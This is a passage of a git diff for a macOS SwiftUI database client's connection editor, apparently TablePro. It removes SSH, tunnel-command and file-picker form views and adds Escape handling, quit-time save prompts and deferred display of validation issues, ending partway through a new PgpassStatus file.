Text( - "Jump hosts are connected in order before reaching the SSH server above. Only key and agent auth are supported for jumps." - ) - .font(.caption) - .foregroundStyle(.secondary) - } - } - } - } - - // MARK: - Helper Methods - - private func browseForKeyFile( - message: String = String(localized: "Choose a private key file"), - onSelect: @escaping (String) -> Void - ) { - let panel = NSOpenPanel() - panel.allowsMultipleSelection = false - panel.canChooseDirectories = false - panel.directoryURL = FileManager.default.homeDirectoryForCurrentUser.appendingPathComponent(".ssh") - panel.showsHiddenFiles = true - panel.message = message - panel.begin { response in - if response == .OK, let url = panel.url { - onSelect(url.path(percentEncoded: false)) - } - } - } - - private func applySSHConfigEntry(_ host: String) { - guard !host.isEmpty else { return } - sshState.host = host - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Panes/Transports/SSHTransportSections.swift b/apple/TablePro/Views/ConnectionForm/Panes/Transports/SSHTransportSections.swift deleted file mode 100644 index 87069aea9e..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Panes/Transports/SSHTransportSections.swift +++ /dev/null @@ -1,124 +0,0 @@ -// -// SSHTransportSections.swift -// TablePro -// - -import AppKit -import SwiftUI -import TableProSSHConfig - -/// The SSH server half of a connection, as sections of the Network tab's form. -/// -/// Nothing here switches the transport on: reaching this view at all means the picker already -/// selected it, which is why the old `Toggle("Enable SSH Tunnel")` that made up an entire pane on -/// its own is gone. -struct SSHTransportSections: View { - @ObservedObject var coordinator: ConnectionFormCoordinator - - var body: some View { - SSHServerSections(sshState: $coordinator.ssh.state) - if DatabaseConnection.socketForwardApplies(to: coordinator.network.type) { - forwardTargetSection - } - } - - /// A tunnel normally forwards to Host and Port; a database that only listens on a unix socket - /// needs the path instead, and then Host and Port go unused. The field belongs beside the - /// tunnel that carries it rather than beside the host it replaces. - private var forwardTargetSection: some View { - Section { - TextField( - String(localized: "Socket Path"), - text: $coordinator.network.sshForwardUnixSocketPath, - prompt: Text(verbatim: coordinator.network.socketPathPrompt) - ) - if let caption = coordinator.network.tunnelHostListCaption { - NoticeLabel(caption, severity: .warning) - .font(.caption) - } - } header: { - Text(String(localized: "Forward To")) - } footer: { - forwardTargetFooter - } - } - - @ViewBuilder - private var forwardTargetFooter: some View { - switch coordinator.network.socketPathIssue { - case .notAbsolute: - NoticeLabel( - String(localized: "Enter an absolute path, as it appears on the SSH server."), - severity: .warning - ) - .font(.caption) - case .looksLikeDirectory: - NoticeLabel( - String(localized: "Point at the socket file itself, not the directory holding it."), - severity: .warning - ) - .font(.caption) - case .none: - if coordinator.network.forwardsToUnixSocket { - NoticeLabel( - String(localized: """ - The SSH server connects to this socket instead of Host and Port. \ - A database on a socket cannot negotiate TLS, so TablePro turns it off; \ - the SSH tunnel still encrypts the whole path. - """), - severity: .info - ) - .font(.caption) - } else { - NoticeLabel( - String(localized: "Optional. Set this to reach a database that only listens on a Unix socket."), - severity: .info - ) - .font(.caption) - } - } - } -} - -/// Points a file-backed connection at a database file on an SSH server. -/// -/// The server half is the same problem whether what comes back is a socket or a file, so it is the -/// same view. What this adds is the path. -struct RemoteFileTransportSections: View { - @ObservedObject var coordinator: ConnectionFormCoordinator - - var body: some View { - Section { - TextField(String(localized: "Path"), text: $coordinator.ssh.state.remoteFilePath) - .autocorrectionDisabled() - .accessibilityIdentifier("connection-form-remote-file-path") - if coordinator.supportsRemoteDatabaseSession { - Picker(String(localized: "Open"), selection: $coordinator.ssh.state.remoteFileAccess) { - Text(String(localized: "On the Server")).tag(RemoteFileAccess.onServer) - Text(String(localized: "As a Read-Only Copy")).tag(RemoteFileAccess.readOnlyCopy) - } - .accessibilityIdentifier("connection-form-remote-file-access") - } - } header: { - Text(String(localized: "Remote File")) - } footer: { - remoteFileFooter - } - - SSHServerSections(sshState: $coordinator.ssh.state) - } - - @ViewBuilder - private var remoteFileFooter: some View { - VStack(alignment: .leading, spacing: 4) { - Text("Absolute, or relative to the SSH account's home directory. `~` works.") - if coordinator.supportsRemoteDatabaseSession, coordinator.ssh.state.remoteFileAccess == .onServer { - Text("Statements run on the SSH server, so reads and writes act on the live database. The server needs python3.") - } else { - Text("The file is copied to this Mac and opened read-only. The original on the server is never written to.") - } - } - .font(.caption) - .foregroundStyle(.secondary) - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Panes/Transports/TunnelCommandTransportSections.swift b/apple/TablePro/Views/ConnectionForm/Panes/Transports/TunnelCommandTransportSections.swift deleted file mode 100644 index f289ead127..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Panes/Transports/TunnelCommandTransportSections.swift +++ /dev/null @@ -1,169 +0,0 @@ -// -// TunnelCommandTransportSections.swift -// TablePro -// - -import SwiftUI - -struct TunnelCommandTransportSections: View { - @ObservedObject var coordinator: ConnectionFormCoordinator - - var body: some View { - methodSection - methodFieldsSection - previewSection - } - - // MARK: - Sections - - private var methodSection: some View { - Section { - Picker(String(localized: "Method"), selection: $coordinator.tunnelCommand.state.config.method) { - ForEach(TunnelCommandMethod.allCases) { method in - Text(method.displayName).tag(method) - } - } - } footer: { - Text(methodFooter) - } - } - - @ViewBuilder - private var methodFieldsSection: some View { - switch coordinator.tunnelCommand.state.config.method { - case .kubectl: - kubectlSection - executableSection(prompt: "/opt/homebrew/bin/kubectl") - case .awsSSM: - awsSection - executableSection(prompt: "/usr/local/bin/aws") - case .custom: - customSection - } - } - - private var kubectlSection: some View { - Section { - TextField( - String(localized: "Resource"), - text: $coordinator.tunnelCommand.state.config.kubernetesResource, - prompt: Text(verbatim: "service/postgres") - ) - .autocorrectionDisabled() - TextField( - String(localized: "Namespace"), - text: $coordinator.tunnelCommand.state.config.kubernetesNamespace, - prompt: Text(verbatim: "production") - ) - .autocorrectionDisabled() - TextField( - String(localized: "Context"), - text: $coordinator.tunnelCommand.state.config.kubernetesContext, - prompt: Text(verbatim: "optional") - ) - .autocorrectionDisabled() - } header: { - Text("Kubernetes") - } footer: { - Text("The port comes from this connection's own port, forwarded from the resource you name here.") - } - } - - private var awsSection: some View { - Section { - TextField( - String(localized: "Target"), - text: $coordinator.tunnelCommand.state.config.awsTarget, - prompt: Text(verbatim: "i-0123456789abcdef0") - ) - .autocorrectionDisabled() - TextField( - String(localized: "Profile"), - text: $coordinator.tunnelCommand.state.config.awsProfile, - prompt: Text(verbatim: "optional") - ) - .autocorrectionDisabled() - TextField( - String(localized: "Region"), - text: $coordinator.tunnelCommand.state.config.awsRegion, - prompt: Text(verbatim: "optional") - ) - .autocorrectionDisabled() - } header: { - Text("AWS Systems Manager") - } footer: { - Text("The session forwards to this connection's host and port from the target instance, so the target is the bastion rather than the database.") - } - } - - private var customSection: some View { - Section { - TextField( - String(localized: "Command"), - text: $coordinator.tunnelCommand.state.config.command, - prompt: Text(verbatim: "ssh -N -L {port}:{host}:{remotePort} bastion"), - axis: .vertical - ) - .lineLimit(2...5) - .font(.system(.body, design: .monospaced)) - .autocorrectionDisabled() - } header: { - Text("Command") - } footer: { - Text(customCommandFooter) - } - } - - private func executableSection(prompt: String) -> some View { - Section { - TextField( - String(localized: "Executable path"), - text: $coordinator.tunnelCommand.state.config.executablePath, - prompt: Text(verbatim: prompt) - ) - .autocorrectionDisabled() - } footer: { - Text( - """ - Leave blank to find it on your PATH. Apps launched from the Dock do not inherit \ - your shell's PATH, so a tool installed somewhere unusual needs its full path here. - """ - ) - } - } - - @ViewBuilder - private var previewSection: some View { - if let preview = coordinator.tunnelCommandPreview { - Section { - CodeWell(preview, font: .system(.caption, design: .monospaced)) - } header: { - Text("Will Run") - } - } - } - - private var customCommandFooter: String { - String( - format: String(localized: """ - %1$@ is the local port, %2$@ and %3$@ are this connection's host and port. \ - The command runs directly rather than through a shell, so start it with \ - /usr/bin/env if you need environment variables. - """), - TunnelCommandLine.localPortPlaceholder, - TunnelCommandLine.hostPlaceholder, - TunnelCommandLine.remotePortPlaceholder - ) - } - - private var methodFooter: String { - switch coordinator.tunnelCommand.state.config.method { - case .kubectl: - return String(localized: "Forwards a port from a Kubernetes resource with kubectl port-forward.") - case .awsSSM: - return String(localized: "Opens an AWS Systems Manager port forwarding session through a target instance.") - case .custom: - return String(localized: "Runs a command you write. It must open the local port itself.") - } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorCloseGuard.swift b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorCloseGuard.swift index 5c40dd3f6a..a3d462f5bd 100644 --- a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorCloseGuard.swift +++ b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorCloseGuard.swift @@ -60,3 +60,18 @@ struct ConnectionEditorSavePrompt: Equatable { String(localized: "Your changes will be lost if you don't save them.") } } + +enum ConnectionEditorEscape { + private static let escapeKeyCode: UInt16 = 53 + + // Escape while a text field or a code editor is being edited; a sheet answers its own. + @MainActor + static func endsEditing(_ event: NSEvent, in window: NSWindow) -> Bool { + guard event.type == .keyDown, event.keyCode == escapeKeyCode, + event.modifierFlags.intersection(.deviceIndependentFlagsMask).subtracting(.function).isEmpty, + event.windowNumber == window.windowNumber, + window.attachedSheet == nil + else { return false } + return window.firstResponder is NSTextView + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorCommitBar.swift b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorCommitBar.swift index 434a82d5ac..703cf1e715 100644 --- a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorCommitBar.swift +++ b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorCommitBar.swift @@ -101,11 +101,18 @@ struct ConnectionEditorCommitStatus: View { // A test result outranks a blocking issue: Test needs no name, and its result would never show otherwise. testStatus } else if let issue = store.firstBlockingIssue { + // Save is off either way, so the bar says why; it turns red only once the issue is revealed. Button { - store.focus(on: issue) + store.reveal(issue) } label: { - NoticeLabel(issue.message, severity: .error) - .lineLimit(1) + if store.isRevealed(issue) { + NoticeLabel(issue.message, severity: .error) + .lineLimit(1) + } else { + Text(verbatim: issue.message) + .foregroundStyle(.secondary) + .lineLimit(1) + } } .buttonStyle(.plain) .help(issue.message) diff --git a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorDetailViewController.swift b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorDetailViewController.swift index 8daf48eb0e..f6183f1fed 100644 --- a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorDetailViewController.swift +++ b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorDetailViewController.swift @@ -25,7 +25,9 @@ struct ConnectionEditorFacetPage: View { } // One hosting controller per visited facet, kept while the window is open: rebuilding a facet on every -// sidebar click drops its scroll position and @State, as it did in Settings. +// sidebar click drops its scroll position and @State, as it did in Settings. Only the shown one is in the +// window: a hidden hosting view still re-renders on every store change, which made a keystroke cost one +// render per visited facet. @MainActor final class ConnectionEditorDetailViewController: NSViewController { enum Content: Equatable { @@ -35,13 +37,19 @@ final class ConnectionEditorDetailViewController: NSViewController { private let store: ConnectionEditorStore private let onCloseMissingRecord: () -> Void - private var facetHosts: [ConnectionFacet: NSHostingController] = [:] + private let makePage: @MainActor (ConnectionFacet) -> AnyView + private var facetHosts: [ConnectionFacet: NSHostingController] = [:] private var recordMissingHost: NSHostingController? private(set) var shownContent: Content? - init(store: ConnectionEditorStore, onCloseMissingRecord: @escaping () -> Void) { + init( + store: ConnectionEditorStore, + onCloseMissingRecord: @escaping () -> Void, + makePage: (@MainActor (ConnectionFacet) -> AnyView)? = nil + ) { self.store = store self.onCloseMissingRecord = onCloseMissingRecord + self.makePage = makePage ?? { AnyView(ConnectionEditorFacetPage(store: store, facet: $0)) } super.init(nibName: nil, bundle: nil) } @@ -68,19 +76,23 @@ final class ConnectionEditorDetailViewController: NSViewController { case .recordMissing: shown = recordMissingHost ?? makeRecordMissingHost() } - for child in children where child !== shown { - // A hidden host leaves the key view loop and the accessibility tree, and adds nothing to a live resize. - child.view.isHidden = true - child.view.autoresizingMask = [] + for child in children where child !== shown && child.view.superview != nil { + child.view.removeFromSuperview() } shown.view.frame = view.bounds shown.view.autoresizingMask = [.width, .height] - shown.view.isHidden = false + if shown.view.superview !== view { + view.addSubview(shown.view) + } shownContent = content } - private func makeFacetHost(_ facet: ConnectionFacet) -> NSHostingController { - let host = NSHostingController(rootView: ConnectionEditorFacetPage(store: store, facet: facet)) + func host(for facet: ConnectionFacet) -> NSViewController? { + facetHosts[facet] + } + + private func makeFacetHost(_ facet: ConnectionFacet) -> NSHostingController { + let host = NSHostingController(rootView: makePage(facet)) install(host) facetHosts[facet] = host return host @@ -101,7 +113,5 @@ final class ConnectionEditorDetailViewController: NSViewController { host.sceneBridgingOptions = [] } addChild(host) - host.view.frame = view.bounds - view.addSubview(host.view) } } diff --git a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorSidebarViewController.swift b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorSidebarViewController.swift index 0dafc15b55..5159675d32 100644 --- a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorSidebarViewController.swift +++ b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorSidebarViewController.swift @@ -31,7 +31,7 @@ struct ConnectionEditorSidebarRow: Equatable { facet: layout.facet, title: layout.title, symbolName: layout.facet.symbolName, - issueMessages: store.issues(for: layout.facet).filter { $0.blocksSave }.map(\.message) + issueMessages: store.issues(for: layout.facet).filter { $0.blocksSave && store.isRevealed($0) }.map(\.message) ) } } diff --git a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorWindowController.swift b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorWindowController.swift index 2cdd485052..a2bddd6bb1 100644 --- a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorWindowController.swift +++ b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorWindowController.swift @@ -25,6 +25,7 @@ final class ConnectionEditorWindowController: NSWindowController, NSWindowDelega private let toolbarController: ConnectionEditorToolbar private let frameAutosaveName: String? private var storeObservation: AnyCancellable? + private var keyMonitor: Any? var sidebar: ConnectionEditorSidebarViewController { content.split.sidebar } var detail: ConnectionEditorDetailViewController { content.split.detail } @@ -102,6 +103,11 @@ final class ConnectionEditorWindowController: NSWindowController, NSWindowDelega self?.syncChrome() } syncChrome() + keyMonitor = NSEvent.addLocalMonitorForEvents(matching: .keyDown) { [weak self] nsEvent in + nonisolated(unsafe) let event = nsEvent + let consumed = MainActor.assumeIsolated { self?.consumesKeyDown(event) ?? false } + return consumed ? nil : nsEvent + } } @available(*, unavailable) @@ -224,6 +230,14 @@ final class ConnectionEditorWindowController: NSWindowController, NSWindowDelega ) } + // The Cancel button answers Escape as a key equivalent before a text view sees the key, so the edit is ended here + // instead; an Escape with no field being edited reaches Cancel and its close guard. + func consumesKeyDown(_ event: NSEvent) -> Bool { + guard let window, ConnectionEditorEscape.endsEditing(event, in: window) else { return false } + _ = endEditing() + return true + } + // Cancel and Escape: the same question the close button asks. func requestClose() { guard window?.attachedSheet == nil, endEditing() else { return } @@ -270,6 +284,10 @@ final class ConnectionEditorWindowController: NSWindowController, NSWindowDelega ConnectionEditorWindowFrame.save(window, autosaveName: frameAutosaveName) } storeObservation = nil + if let keyMonitor { + NSEvent.removeMonitor(keyMonitor) + } + keyMonitor = nil store.teardown() Self.controllers = Self.controllers.filter { $0.value !== self } } @@ -284,6 +302,67 @@ final class ConnectionEditorWindowController: NSWindowController, NSWindowDelega ConnectionEditorWindowFrame.save(window, autosaveName: frameAutosaveName) } + // MARK: - Quitting + + // Asked before anything else a quit stops, so Cancel here leaves the app as it was. + static func prepareToTerminate( + _ editors: [ConnectionEditorWindowController]? = nil, + ask: @MainActor (ConnectionEditorWindowController, ConnectionEditorSavePrompt) -> ConnectionEditorCloseGuard.Choice + = { editor, prompt in + editor.showAndActivate() + return editor.askToSaveModally(prompt) + } + ) -> Bool { + for editor in editors ?? openEditorsFrontToBack { + guard editor.approvesTermination(ask: ask) else { return false } + } + return true + } + + // The quit skips windowShouldClose, so each editor is closed here to reap what a running test staged. + static func closeAllForTermination() { + for controller in Array(controllers.values) { + controller.close() + } + } + + private static var openEditorsFrontToBack: [ConnectionEditorWindowController] { + let order = NSApp.orderedWindows + return controllers.values.sorted { lhs, rhs in + let left = lhs.window.flatMap { order.firstIndex(of: $0) } ?? order.count + let right = rhs.window.flatMap { order.firstIndex(of: $0) } ?? order.count + return left < right + } + } + + // Save never connects here: the app is about to quit. A Save that fails keeps the window and stops the quit. + func approvesTermination( + ask: @MainActor (ConnectionEditorWindowController, ConnectionEditorSavePrompt) -> ConnectionEditorCloseGuard.Choice + ) -> Bool { + if window?.attachedSheet != nil { + showAndActivate() + NSSound.beep() + return false + } + _ = endEditing() + guard case .askToSave(let prompt) = closeVerdict else { return true } + switch ask(self, prompt) { + case .save: + if case .success = store.save(connect: false) { return true } + return false + case .dontSave: + return true + case .cancel: + return false + } + } + + func askToSaveModally(_ prompt: ConnectionEditorSavePrompt) -> ConnectionEditorCloseGuard.Choice { + // A quit can come from outside the app, and a background process has no Dock icon to reach the alert by. + AppActivationPolicyController.shared.activate(ignoringOtherApps: true) + return ConnectionEditorCloseGuard.choice(for: ConnectionEditorCloseGuard.makeAlert(prompt).runModal()) + } + // File > Save, Cmd+S: saves without connecting, also for a new connection. @objc func saveDocument(_ sender: Any?) { save() diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Load.swift b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Load.swift index e8a18768cc..cd309412c8 100644 --- a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Load.swift +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Load.swift @@ -34,6 +34,7 @@ extension ConnectionEditorStore { traits = ConnectionTypeTraits.live(for: record.type, pluginManager: services.pluginManager) originalTraits = traits context.originalType = record.type + context.savedName = record.name context.participatesInSync = record.participatesInSync var secrets = DraftSecrets() let reads = storage.recordingSecretReads { @@ -85,6 +86,7 @@ extension ConnectionEditorStore { var context = EditorContext() context.isNew = isNew context.originalType = self.context.originalType + context.savedName = self.context.savedName context.participatesInSync = self.context.participatesInSync context.aiEnabled = services.appSettings.ai.enabled context.syncEnabled = services.appSettings.sync.enabled @@ -274,7 +276,9 @@ extension ConnectionEditorStore { func refreshPgpassStatus() { guard ConnectionEditorEngine.usesPgpass(draft, traits) else { pgpassLookup = nil - pgpassStatus = .notChecked + if pgpassStatus != .notChecked { + pgpassStatus = .notChecked + } return } let lookup = currentPgpassLookup() diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Save.swift b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Save.swift index 1d4df81198..824c1c394c 100644 --- a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Save.swift +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Save.swift @@ -43,6 +43,7 @@ extension ConnectionEditorStore { // Preflight, secrets, record, then deletes; a new id's secrets go again when its record write fails. @discardableResult func save(connect: Bool = false) -> Result { + revealAllIssues() let result = performSave() switch result { case .success(let record): diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Test.swift b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Test.swift index 9e54411f74..11cbc64380 100644 --- a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Test.swift +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Test.swift @@ -91,6 +91,7 @@ extension ConnectionEditorStore { } func test() { + revealAllIssues() guard canTest else { return } let runId = UUID() let testId = UUID() @@ -107,7 +108,7 @@ extension ConnectionEditorStore { password: password, prompts: prompts, sshPassword: draft.usesSSHServer && draft.ssh.profileId == nil ? draft.ssh.password : nil, - displayName: draft.name.isEmpty ? draft.host : draft.name, + displayName: effectiveName, isAPIToken: traits.connectionMode == .apiOnly, signInFields: draft.fieldValues, typeName: traits.displayName diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore.swift b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore.swift index f49f5fb6e5..6c364e5369 100644 --- a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore.swift +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore.swift @@ -59,6 +59,8 @@ final class ConnectionEditorStore: ObservableObject { @Published var hasUnsavedChanges = false @Published var selectedFacet: ConnectionFacet = .general @Published var focusRequest: FocusRequest? + @Published private(set) var revealedRows: Set = [] + @Published private(set) var revealsAllIssues = false @Published var isRecordMissing = false @Published var isLibraryUnreadable = false @@ -102,6 +104,7 @@ final class ConnectionEditorStore: ObservableObject { var cloudflareLogin: CloudflareAccessLogin? var wasDownloadingCloudSQLProxy = false var isClosing = false + var hasPlacedInitialFocus = false var cancellables: Set = [] weak var window: NSWindow? @@ -142,6 +145,7 @@ final class ConnectionEditorStore: ObservableObject { self.baseline = draft self.context = EditorContext() self.layout = EditorLayout(facets: []) + revealsAllIssues = !isNew load(request) subscribe() @@ -167,11 +171,21 @@ final class ConnectionEditorStore: ObservableObject { refreshDerivedState() } + // Each assignment is published only when it changed: every publish re-renders each view that observes the store. func refreshDerivedState() { - layout = ConnectionEditorEngine.layout(draft, traits, context) - issues = ConnectionEditorEngine.issues(draft, traits, context, layout: layout) + let nextLayout = ConnectionEditorEngine.layout(draft, traits, context) + if nextLayout != layout { + layout = nextLayout + } + let nextIssues = ConnectionEditorEngine.issues(draft, traits, context, layout: nextLayout) + if nextIssues != issues { + issues = nextIssues + } if let dirtyBaseline { - hasUnsavedChanges = dirtyFingerprint() != dirtyBaseline + let dirty = dirtyFingerprint() != dirtyBaseline + if dirty != hasUnsavedChanges { + hasUnsavedChanges = dirty + } } if !layout.facetIDs.contains(selectedFacet) { selectedFacet = .general @@ -201,14 +215,53 @@ final class ConnectionEditorStore: ObservableObject { issues.first { $0.row == row } } - func facetHasErrors(_ facet: ConnectionFacet) -> Bool { - issues.contains { $0.facet == facet && $0.blocksSave } - } - var firstBlockingIssue: FieldIssue? { issues.first(where: \.blocksSave) } + // One rule for the row, the sidebar mark and the commit bar: a pristine new form is never painted red. + func isRevealed(_ issue: FieldIssue) -> Bool { + revealsAllIssues || revealedRows.contains(issue.row) + } + + func revealedIssue(for row: EditorRow) -> FieldIssue? { + guard let issue = issue(for: row), isRevealed(issue) else { return nil } + return issue + } + + func facetHasRevealedErrors(_ facet: ConnectionFacet) -> Bool { + issues.contains { $0.facet == facet && $0.blocksSave && isRevealed($0) } + } + + func noteEdited(_ row: EditorRow) { + guard !revealsAllIssues, !revealedRows.contains(row) else { return } + revealedRows.insert(row) + } + + func revealAllIssues() { + guard !revealsAllIssues else { return } + revealsAllIssues = true + } + + // Asking why Save is off is asking to see the issue. + func reveal(_ issue: FieldIssue) { + noteEdited(issue.row) + focus(on: issue) + } + + // A control's changes count as edits of its row; a write from code, or a field handing back what it showed, does not. + func tracking(_ binding: Binding, row: EditorRow) -> Binding { + Binding( + get: { binding.wrappedValue }, + set: { newValue, transaction in + if newValue != binding.wrappedValue { + self.noteEdited(row) + } + binding.transaction(transaction).wrappedValue = newValue + } + ) + } + var canSave: Bool { !isRecordMissing && firstBlockingIssue == nil } var canTest: Bool { !isTesting && !isRecordMissing && !issues.contains(where: \.blocksTest) } @@ -227,6 +280,25 @@ final class ConnectionEditorStore: ObservableObject { focus(on: issue) } + // Spent once a row takes it, so a row that appears later never pulls the cursor back. + func didApplyFocus(_ request: FocusRequest) { + if focusRequest == request { + focusRequest = nil + } + } + + // Once per window: a new connection starts where its address goes, a saved one at its name. + func placeInitialFocusIfNeeded() { + guard !hasPlacedInitialFocus else { return } + hasPlacedInitialFocus = true + guard focusRequest == nil, selectedFacet == .general else { return } + let rows = layout.facet(.general)?.sections.flatMap(\.rows) ?? [] + let target = isNew + ? [EditorRow.builtIn(.host), .builtIn(.databaseFile)].first { rows.contains($0) } ?? .builtIn(.name) + : .builtIn(.name) + focus(facet: .general, row: target) + } + // MARK: - Window var windowTitle: String { @@ -238,6 +310,14 @@ final class ConnectionEditorStore: ObservableObject { var windowSubtitle: String { traits.displayName } + var namePrompt: String { + ConnectionEditorEngine.fallbackName(draft, traits, context) + } + + var effectiveName: String { + ConnectionEditorEngine.effectiveName(draft, traits, context) + } + func cancel() { dismissAction?() } diff --git a/apple/TablePro/Views/ConnectionForm/Support/ConnectionPresentation.swift b/apple/TablePro/Views/ConnectionForm/Support/ConnectionPresentation.swift deleted file mode 100644 index 663feca655..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Support/ConnectionPresentation.swift +++ /dev/null @@ -1,74 +0,0 @@ -import Foundation -import TableProPluginKit - -/// Pure presentation logic for a connection's plugin-declared fields. -/// -/// One place for section filtering, field visibility, default seeding and required/range -/// validation. `NetworkPaneViewModel`, `AuthPaneViewModel` and `AdvancedPaneViewModel` each -/// re-derived all of this from the same field list, and the password-hiding and visibility -/// checks disagreed on which value dictionary to read. Feeding one flat value dictionary makes a -/// cross-section `visibleWhen` rule resolve, and gives `hidesPassword` a single answer. -struct ConnectionPresentation { - /// Every additional field the plugin declares for the type, all sections. - let fields: [ConnectionField] - /// The merged values across all sections, keyed by field id. - let values: [String: String] - /// The app-side snapshot flag: this plugin's form never offers the built-in password. - let hidesBuiltInPassword: Bool - - init(fields: [ConnectionField], values: [String: String], hidesBuiltInPassword: Bool = false) { - self.fields = fields - self.values = values - self.hidesBuiltInPassword = hidesBuiltInPassword - } - - func fields(in section: FieldSection) -> [ConnectionField] { - fields.filter { $0.section == section } - } - - func isVisible(_ field: ConnectionField) -> Bool { - fields.isVisible(field, forValues: values) - } - - func visibleFields(in section: FieldSection) -> [ConnectionField] { - fields(in: section).filter(isVisible) - } - - var hidesPassword: Bool { - hidesBuiltInPassword || fields.hidesPassword(forValues: values) - } - - var hidesUsername: Bool { - fields.hidesUsername(forValues: values) - } - - /// The default value for every field, optionally one section. Replaces the per-view-model - /// seeding loops in `resetForType` and the default half of `load(from:)`. - func defaultValues(in section: FieldSection? = nil) -> [String: String] { - var seeded: [String: String] = [:] - for field in fields where section == nil || field.section == section { - if let value = field.defaultValue { - seeded[field.id] = value - } - } - return seeded - } - - /// Required-empty and out-of-range issues for a section's visible fields, in the words the user - /// needs. `excludingRequired` skips ids a linked credential profile supplies at connect, so an - /// empty copy of a profile field does not block Save. - func validationIssues(in section: FieldSection, excludingRequired excluded: Set = []) -> [String] { - var issues: [String] = [] - // Content fields (loadable extensions, attached databases) carry their own editors and - // validators, so the generic required/range check skips them. - let visible = visibleFields(in: section).filter { $0.content == .plain } - for field in visible where field.isRequired && !excluded.contains(field.id) { - let value = values[field.id] ?? field.defaultValue ?? "" - if value.trimmingCharacters(in: .whitespaces).isEmpty { - issues.append(String(format: String(localized: "%@ is required"), field.label)) - } - } - issues += visible.compactMap { $0.rangeIssue(in: values[$0.id] ?? "") } - return issues - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Support/DatabaseFileButtons.swift b/apple/TablePro/Views/ConnectionForm/Support/DatabaseFileButtons.swift deleted file mode 100644 index ad53cb4610..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Support/DatabaseFileButtons.swift +++ /dev/null @@ -1,53 +0,0 @@ -// -// DatabaseFileButtons.swift -// TablePro -// - -import AppKit -import SwiftUI - -/// Browse… and New… beside a database file path, for every field that names the file a driver opens. -/// -/// Two buttons rather than one pull-down: with only two choices the HIG prefers plain buttons, and a -/// menu would hide the one people could not find. New… appears only for a driver that creates a -/// missing file, since naming one for a driver that refuses it would only fail at connect. -struct DatabaseFileButtons: View { - let type: DatabaseType - @Binding var path: String - - private var newFileExtensions: [String] { - PluginManager.shared.newDatabaseFileExtensions(for: type) - } - - var body: some View { - Button(String(localized: "Browse…")) { - Task { await browse() } - } - .controlSize(.small) - .help(String(localized: "Choose an existing database file")) - .accessibilityIdentifier("connection-form-file-browse") - - if !newFileExtensions.isEmpty { - Button(String(localized: "New…")) { - Task { await nameNew() } - } - .controlSize(.small) - .help(String(localized: "Name a new database file, created when you connect")) - .accessibilityIdentifier("connection-form-file-new") - } - } - - private func browse() async { - let chosen = await DatabaseFilePanel.chooseExisting(for: type, currentPath: path, in: NSApp.keyWindow) - if let chosen { path = chosen } - } - - private func nameNew() async { - let chosen = await DatabaseFilePanel.nameNew( - extensions: newFileExtensions, - currentPath: path, - in: NSApp.keyWindow - ) - if let chosen { path = chosen } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Support/FilePathConnectionFieldRow.swift b/apple/TablePro/Views/ConnectionForm/Support/FilePathConnectionFieldRow.swift deleted file mode 100644 index ebe0a359b4..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Support/FilePathConnectionFieldRow.swift +++ /dev/null @@ -1,27 +0,0 @@ -// -// FilePathConnectionFieldRow.swift -// TablePro -// - -import SwiftUI -import TableProPluginKit - -struct FilePathConnectionFieldRow: View { - let field: ConnectionField - @Binding var value: String - let onBrowse: () -> Void - - static func isFilePathField(_ field: ConnectionField) -> Bool { - field.fieldType == .text && field.id.hasSuffix("FilePath") - } - - var body: some View { - HStack { - ConnectionFieldRow(field: field, value: $value) - Button(String(localized: "Browse…")) { - onBrowse() - } - .controlSize(.small) - } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Support/PgpassStatus.swift b/apple/TablePro/Views/ConnectionForm/Support/PgpassStatus.swift new file mode 100644 index 0000000000..afd395be20 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Support/PgpassStatus.swift @@ -0,0 +1,24 @@ +// +// PgpassStatus.swift +// TablePro +// + +import Foundation +import TableProUtilities + +enum PgpassStatus { + case notChecked + case fileNotFound + case 